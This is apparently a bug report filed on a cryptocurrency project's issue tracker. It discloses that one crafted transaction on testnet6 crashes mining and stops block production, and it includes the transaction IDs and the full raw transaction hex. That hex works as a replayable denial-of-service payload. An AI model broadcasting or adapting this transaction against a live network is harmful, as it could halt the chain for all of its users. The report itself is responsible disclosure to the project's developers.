Vuln- Halt block production #390

Description

@hans-schmidt

I have verified (the hard way- sorry) that on testnet6 I am able to crash mining and bring block production to a stop by issuing a single transaction.

Detailed analysis is inconvenient because I am unable to restart block production after I stop the chain.

Please see the following transaction which was issued immediately after Block 35441 on testnet6

Transaction ID:
62b06f969a9fb37d3ed69016229b5ef8d472521df2f9470cea3049148906e1ec

Raw Transaction:
0200000002cb32ecb6c826d89689e6a4d85996ef8ad8f5a626f659c69476f68d70aa9273c4000000006a473044022018f13d08d16a258c7d9f8b97985d6315162ef32971fa966f45474e7f4a53bff602203fa5f5506fcbb46b67e7d770a27545a0996f39d5b39d8734823c45803d907e230121024953231de4abe8f9fd7e0ed22e5ae935e2cbfba808470bd8accf4c6a5679af30ffffffffdcb98cb7aa71b1fc9a7399bbf8bcda051f23cbf131650151e07dceb7bad3c6f0010000006a47304402203585b3f0a8af6da2308d85d75b713982bbb0ffa57eaf4c14eb39b41a4162513d022006a994a042ba9f6b4ffef4252242bf3d095be0d81f0d6c18d087e2bc5923467a012103642b269e679909cb11129e1396dd447999a2e5847161bed5cbb9e5bc4a6b4e5fffffffff040065cd1d000000001976a914dda3d21797ff26cb8ae9a769bdc68cf4567f5bba88ace0c3c51d000000001976a914f268a63f4206864e8e8942a0bc0d6b1974ea021988ac00000000000000003476a9147f063ede633579e9adfcda985d70b735acfab97888acc01872766e740b524f4f545f4155544f312100e1f505000000007500000000000000004376a914129519f1af0d2a22ce827ee79786962edef66bbd88acc02772766e7116524f4f545f4155544f3123756e697175655f6d616e3100e1f50500000000000000007500000000

A mining crash occurred earlier in the day which required manual intervention to restart. Community members on Discord appeared to conclude that it was a different issue, but I believe that it was triggered by my Transaction ID 07b21adf9262410a68b08a6ba05377a61e7bd54b7f0c9ed370f8d4312836d6ad, which is equivalent to the transaction detailed above.
